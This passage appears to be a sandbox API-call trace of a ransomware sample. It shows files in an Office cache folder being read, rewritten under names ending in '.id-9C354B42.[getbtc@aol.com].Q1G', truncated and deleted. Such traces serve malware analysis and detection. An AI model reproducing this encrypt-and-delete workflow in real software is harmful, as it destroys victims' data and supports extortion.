(lpString=".docx") returned 5 [0036.373] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.373] lstrlenW (lpString=".pdf") returned 4 [0036.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString=".xls") returned 4 [0036.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString=".xlsx") returned 5 [0036.373] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.373] lstrlenW (lpString=".ppt") returned 4 [0036.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.373] lstrlenW (lpString=".zip") returned 4 [0036.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.373] lstrlenW (lpString=".rar") returned 4 [0036.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString=".bz2") returned 4 [0036.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString=".7z") returned 3 [0036.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.373] lstrlenW (lpString=".dbf") returned 4 [0036.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.373] lstrlenW (lpString=".1cd") returned 4 [0036.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.373] lstrlenW (lpString=".jpg") returned 4 [0036.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.373] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.373] lstrlenW (lpString=".doc") returned 4 [0036.374] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString=".docx") returned 5 [0036.374] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.374] lstrlenW (lpString=".pdf") returned 4 [0036.374] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString=".xls") returned 4 [0036.374] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString=".xlsx") returned 5 [0036.374] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.374] lstrlenW (lpString=".ppt") returned 4 [0036.374] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.374] lstrlenW (lpString=".zip") returned 4 [0036.374] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.374] lstrlenW (lpString=".rar") returned 4 [0036.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString=".bz2") returned 4 [0036.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString=".7z") returned 3 [0036.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.374] lstrlenW (lpString=".dbf") returned 4 [0036.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.374] lstrlenW (lpString=".1cd") returned 4 [0036.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.374] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0036.374] lstrlenW (lpString=".jpg") returned 4 [0036.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.375] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.375] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0036.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.376] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1606) returned 1 [0036.376] CloseHandle (hObject=0x1a8) returned 1 [0036.376] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0036.376] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.376] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.376] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.376] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.376] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.377] GetLastError () returned 0x0 [0036.377] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x646, lpOverlapped=0x0) returned 1 [0036.379] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x650, lpOverlapped=0x0) returned 1 [0036.379] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.380] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0036.380] SetEndOfFile (hFile=0x198) returned 1 [0036.380] CloseHandle (hObject=0x198) returned 1 [0036.380] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.380] SetEndOfFile (hFile=0x1a8) returned 1 [0036.381] CloseHandle (hObject=0x1a8) returned 1 [0036.381] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.381] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0036.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.382] lstrlenW (lpString=".doc") returned 4 [0036.382] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString=".docx") returned 5 [0036.382] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.382] lstrlenW (lpString=".pdf") returned 4 [0036.382] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString=".xls") returned 4 [0036.382] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString=".xlsx") returned 5 [0036.382] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.382] lstrlenW (lpString=".ppt") returned 4 [0036.382] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.382] lstrlenW (lpString=".zip") returned 4 [0036.382] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.382] lstrlenW (lpString=".rar") returned 4 [0036.382] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString=".bz2") returned 4 [0036.382] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString=".7z") returned 3 [0036.382] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.382] lstrlenW (lpString=".dbf") returned 4 [0036.382] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.382] lstrlenW (lpString=".1cd") returned 4 [0036.382] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.382] lstrlenW (lpString=".jpg") returned 4 [0036.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.383] lstrlenW (lpString=".doc") returned 4 [0036.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString=".docx") returned 5 [0036.383] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0036.383] lstrlenW (lpString=".pdf") returned 4 [0036.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString=".xls") returned 4 [0036.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString=".xlsx") returned 5 [0036.383] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0036.383] lstrlenW (lpString=".ppt") returned 4 [0036.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.383] lstrlenW (lpString=".zip") returned 4 [0036.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.383] lstrlenW (lpString=".rar") returned 4 [0036.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString=".bz2") returned 4 [0036.383] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString=".7z") returned 3 [0036.383] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.383] lstrlenW (lpString=".dbf") returned 4 [0036.383] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.383] lstrlenW (lpString=".1cd") returned 4 [0036.383] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0036.384] lstrlenW (lpString=".jpg") returned 4 [0036.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.384] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.384] lstrlenW (lpString="Setup.xml") returned 9 [0036.384] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.385] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1988) returned 1 [0036.385] CloseHandle (hObject=0x1a8) returned 1 [0036.385] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0036.385] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.385] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.385] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.385] GetLastError () returned 0x0 [0036.385] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0036.388] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0036.389] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.389] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.389] SetEndOfFile (hFile=0x198) returned 1 [0036.390] CloseHandle (hObject=0x198) returned 1 [0036.390] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.390] SetEndOfFile (hFile=0x1a8) returned 1 [0036.391] CloseHandle (hObject=0x1a8) returned 1 [0036.391] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.391] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.392] lstrlenW (lpString=".doc") returned 4 [0036.392] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString=".docx") returned 5 [0036.392] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.392] lstrlenW (lpString=".pdf") returned 4 [0036.392] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString=".xls") returned 4 [0036.392] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString=".xlsx") returned 5 [0036.392] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.392] lstrlenW (lpString=".ppt") returned 4 [0036.392] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.392] lstrlenW (lpString=".zip") returned 4 [0036.392] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.392] lstrlenW (lpString=".rar") returned 4 [0036.392] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString=".bz2") returned 4 [0036.392] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString=".7z") returned 3 [0036.392] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.392] lstrlenW (lpString=".dbf") returned 4 [0036.392] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.392] lstrlenW (lpString=".1cd") returned 4 [0036.392] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.392] lstrlenW (lpString=".jpg") returned 4 [0036.392] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.393] lstrlenW (lpString=".doc") returned 4 [0036.393] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString=".docx") returned 5 [0036.393] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.393] lstrlenW (lpString=".pdf") returned 4 [0036.393] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString=".xls") returned 4 [0036.393] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString=".xlsx") returned 5 [0036.393] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.393] lstrlenW (lpString=".ppt") returned 4 [0036.393] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.393] lstrlenW (lpString=".zip") returned 4 [0036.393] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.393] lstrlenW (lpString=".rar") returned 4 [0036.393] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString=".bz2") returned 4 [0036.393] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString=".7z") returned 3 [0036.393] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.393] lstrlenW (lpString=".dbf") returned 4 [0036.393] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.393] lstrlenW (lpString=".1cd") returned 4 [0036.393] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.393] lstrlenW (lpString=".jpg") returned 4 [0036.393] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.394] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0036.394] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0036.394] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.395] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1452) returned 1 [0036.395] CloseHandle (hObject=0x1a8) returned 1 [0036.395] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0036.395] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.396] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.396] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.396] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.396] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.396] GetLastError () returned 0x0 [0036.396] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0036.667] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0036.784] ReadFile (in: hFile=0x1a8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0036.784] WriteFile (in: hFile=0x198, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0036.784] SetEndOfFile (hFile=0x198) returned 1 [0036.784] CloseHandle (hObject=0x198) returned 1 [0036.785] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0036.785] SetEndOfFile (hFile=0x1a8) returned 1 [0036.785] CloseHandle (hObject=0x1a8) returned 1 [0036.786] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0036.786] DeleteFileW (lpFileName="C:\\MSOCache\\All 